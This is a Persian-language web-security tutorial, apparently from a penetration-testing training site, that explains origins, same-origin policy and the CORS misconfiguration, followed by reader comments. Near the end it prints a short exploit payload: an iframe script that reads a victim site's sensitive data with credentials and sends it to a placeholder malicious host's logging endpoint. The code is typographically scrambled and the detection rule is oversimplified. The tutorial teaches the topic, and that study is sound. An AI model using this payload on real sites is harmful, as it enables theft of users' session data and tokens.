آموزش آسیب پذیری یا باگ CORS
در این قسمت از آموزش قصد داریم شما را با باگ CORS در هک و امنیت آشنا کنیم با ما همراه باشید.
آموزش باگ CORS
آسیب پذیری CORS که مخفف عبارت Cross-origin resource sharing است یکی از اسیب پذیری های خطرناک است ، به این منظور که نفوذگر میتواند اطلاعات مختلف و حساس مانند session ها و خیلی اطلاعات حساس دیگر را به دست اورد؛ این اسیب پذیری که بر روی مبحث مرورگرهای مدرن اتفاق خواهد افتاد ارتباط زیادی با SOP ها دارد که در ادامه مبحث SOP را بررسی خواهیم کرد.
نکته : مرورگر ها با استفاده از ساختار و پیاده سازی SOP و ارجین ها
از حملاتی مانند click jacking و xhtml request جلوگیری کنند .
آرجین چیست ؟
زمانی که شما وارد یک سایت میشوید برای مثال سایت PentestCore.com در این حالت شما وارد آرجین وب سایت پن تست کور شده اید ، حال نیز اگر پروتکل ارتباطی خود را تغیر دهید و شما با پروتکل http وارد سایت شوید نیز شما وارد یک آرجین دیگری از وب سایت پن تست کور شده اید. همچنین اگر شما به دیگر پورت های وب سایت دسترسی داشته باشید نیز یک ارجین جداگانه برای شما به وجود خواهد امد.
آرجین ها به سه بخش url , port و protocol دسته بندی شده اند .
نکته : ارجینی که برای ادرس pentestcore.com در نظر گرفته میشود با ارجینی که برای ادرس pentestcore.ir در نظر گرفته میشود کاملا متفاوت است به این دلیل که ادرس url ها کاملا باهم متفاوت است (این نکته شامل ساب دامنه ها هم خواهد شد )
تمام مثال هایی که در پایین برای شما لیست شده است شامل یک آرجین کاملا متفاوت است
(با دقت به مثال های زیر توجه کنید)
http:pentestcore.com
https:pentestcore.com
http:pentestcore.com:8080
http:pentestcore.ir
برای مثال فردی که در آرجین https:pentestcore.com است میتواند به تمام داکیومنت های مربوط به همین ارجین دسترسی داشته باشد و به دیگر داکیومنت هایی که در دیگر ارجین ها وجود دارد نمی تواند دسترسی داشته باشد .
SOP چیست ؟ و چه نقشی را در امنیت وب سایت ایفا میکند ؟
SOP که مخفف same origin policy یک قانون و یک فریمورک است که این قابلیت را دارد که بتواند جلوی تغیر خصوصیت یک داکیومنت که در یک آرجین است را توسط داکیومنت دیگری که در یک آرجین دیگر است را بگیرد . جالب است که بدانید حملات تحت کلاینت مانند xss , csrf و دیگر حملات تحت کلاینت وابسه به مبحث SOP است .
نکته : رعایت و حفظ SOP بر عهده مرورگر هاست .
باگ CORS چیست ؟
و ممکن است از کجا شکل بگیرد و منطق آن چیست ؟
همانگونه که پیشتر متوجه شدید ارجین ها این امنیت را برقرای می کنند تا نفوذگر توانایی ارسال ریکوئست از یک ارجین به ارجین دیگر را با استفاده از AJAX نداشته باشد، حال نیز دو وب سایت را تصور کنید که بر روی هاست های مختلف و در ارجین های متفاوت وجود دارند و یکی از وب سایت ها نیاز دارد که تصاویری که در وب سایت دیگری وجود دارد را فراخوانی کند که این کار نیز توسط هدر های http که به سمت سرور ارسال میشود قابل انجام است .
نکته : SOP نیز با دریافت تصاویر و ویدیو ها مشکلی ندارد
اما سخت گیری بسیار زیادی در رابطه با ارسال تگ های inline و یا xhtml ها می کند .
حال تصور کنید این مکانیزم ارتباطاتی به صورت امن نباشد و نفوذگر می تواند با استفاده از ریکوئست های AJAX و یا تگ هایی مانند تگ های iframe از طریق وب سایت اول بر روی وب سایت قربانی ریکواست هایی را ارسال کند و یوزر ها و یا دیگر اطلاعات حساس را در پنجره مرورگر خود مشاهده کند .
حال برای بهتر متوجه شدن مفهوم SOP به مثال زیر توجه کنید :
در ابتدا به آرجین سایت https://pentestcore.com می رویم و اگر inspect element را اجرا کنید و به بخش console بروید سپس می توانید با استفاده از دستورات AJAX اقدام به ارسال ریکوئست کنید؛ در ابتدا با استفاده از دستور زیر یک متغیر تغریف می کنیم تا بتوانیم یک XMLHttpRequest نیز ارسال کنیم.
;()var pentestcore=new XMLHttpRequest
حال نیز در ادامه با استفاده از تابع open و متد GET نیز تایین می کنیم که ریکوئست مورد نظر از آرجین https://pentestcore.com به کدام آرجین ارسال شود که در این قسمت ما از آرجین https:pentestcore.ir استفاده کرده ایم.
;(“pentestcore.open(“GET”,”http://pentestcore.ir
در مرحله اخر با استفاده از تابع send اقدام به ارسال ریکوئست می کنیم :
;()pentestcore.send
حال نیز خواهید دید که با ارور مواجه خواهید شد و مرورگر شما این اجازه را به شما نخواهد داد.
اما اگر دقیقا به همان آرجینی که در آن قرار دارید آرجین ارسال کنید
خواهید دید که با هیچ اروری مواجه نخواهید شد .
نحوه شناسایی باگ CORS
برای شناسایی باگ CORS باید از ارسال ریکوئست به قسمت ها و دایرکتوری های حساس استفاده کنید و اگر در ریسپانس بازگشتی عبارت Access-control-Allow-Credentials برابر با مقدار True بود نیز متوجه خواهید شد که وب اپلیکیشن مورد نظر دارای باگ CORS است.
برای درک بهتر این موضوع به مثال زیر توجه کنید (مثال زیر در یک محیط آزمایشگاهی است ):
در این قسمت ما ابزار Burp Suite را بر روی مرورگر خود تنظیم کرده ایم
و یک درخواستی را به یکی از فایل های حساس که اطلاعات کاربر را نمایش می دهد ارسال کرده ایم :
سپس اطلاعات پروکسی شده را select میکنیم و به بخش Repeater ارسال میکنیم
نکته : اگر با ابزار Burp Suite آشنایی ندارید
می توانید آموزش ابزار Burp Suite که در سایت برای شما قرار داده ایم مشاهده کنید .
زمانی که اطلاعات را به Repeater ارسال کردید باید قسمتی به Header بسته خود اضافه کنید
تا بتوانید باگ CORS را تست کنید که عبارت ان به صورت زیر است :
Origin:http://example.com
نکته : در قسمت example.com باید ادرس سروری را وارد کنید
که قصد دارید با استفاده از ان سرور اقدام به اکسپلویت کردن آسیب پذیری کنید .
سپس بر روی گزینه Send کلیک کنید و سپس در قست Response خواهید دید که مقدار True به عبارت Access-control-Allow-Credentials اختصاص داده شده است به همین منظور متوجه می شوید که وب سایت هدف شما دارای باگ CORS است .
نحوه اکسپلویت کردن باگ CORS
در ادامه زمانی که باگ CORS را نیز پیدا کرده اید می توانید با راه اندازی یک سرور و اجرا کردن دستورات زیر در سرور اقدام به اکسپلویت کردن آسیب پذیری کنید و اطلاعات مهم مانند APK key , CSRF Token ها و دیگر اطلاعات حساس را با استفاده از پیاده سازی یک لیستنر با استفاده از اسکریپ زیر دریافت کنید :
<iframe sandbox=”allow-scripts allow-top-navigation allow-forms” src=”data:text/html,<script
;()var req = new XMLHttpRequest
;req.onload = reqListener
;(req.open(‘get’,’vulnerable-website.com/sensitive-victim-data’,true
;req.withCredentials = true
;()req.send
}()function reqListener
;location=’malicious-website.com/log?key=’+this.responseText
;{
</script></iframe>
نتیجه گیری
در این قسمت از آموزش شما را با آسیب پذیری یا باگ CORS آشنا کرده ایم و نحوه پیدا کردن و اکسپلویت کردن ان را نیز برای شما نیز شرح داده ایم. برای اشنایی بیشتر با اسیب پذیری های مختلف می توانید اموزش های بخش تست نفوذ وب اپلیکیشن را مشاهده کنید.
موفق باشید.
۷ دیدگاه در “آموزش آسیب پذیری یا باگ CORS”
عالی بود
بسیار عالی …
درود بر شما
خوشحالیم اموزش برای شما مفید بوده است.
سلام آموزش خوب و جالبی بود فقط یه سوال اینکه، تو قسمت اکسپلویت کردن اون کدها رو باید HTML کنیم و در سرور خودمون که مهاجم هستیم اجرا کنیم؟
و در این قسمت از کد که زدید /sentinsive-victim-data مثالی چیزی دارید؟
درود بر شما
بله ، مثال داخل اموزش زده شده است ، برای درک بهتر بزودی اموزش ویدیو ای برای این اموزش قرار خواهیم داد.
ممنون خیلی خوب میشه یه ویدیو کامل رو هرچه زودتر قرار بدید مخصوصا از اکسپلویت شدنش و توضیحاتی از خود Cors
درود
بله حتما بزودی اموزش قرار می گیرد.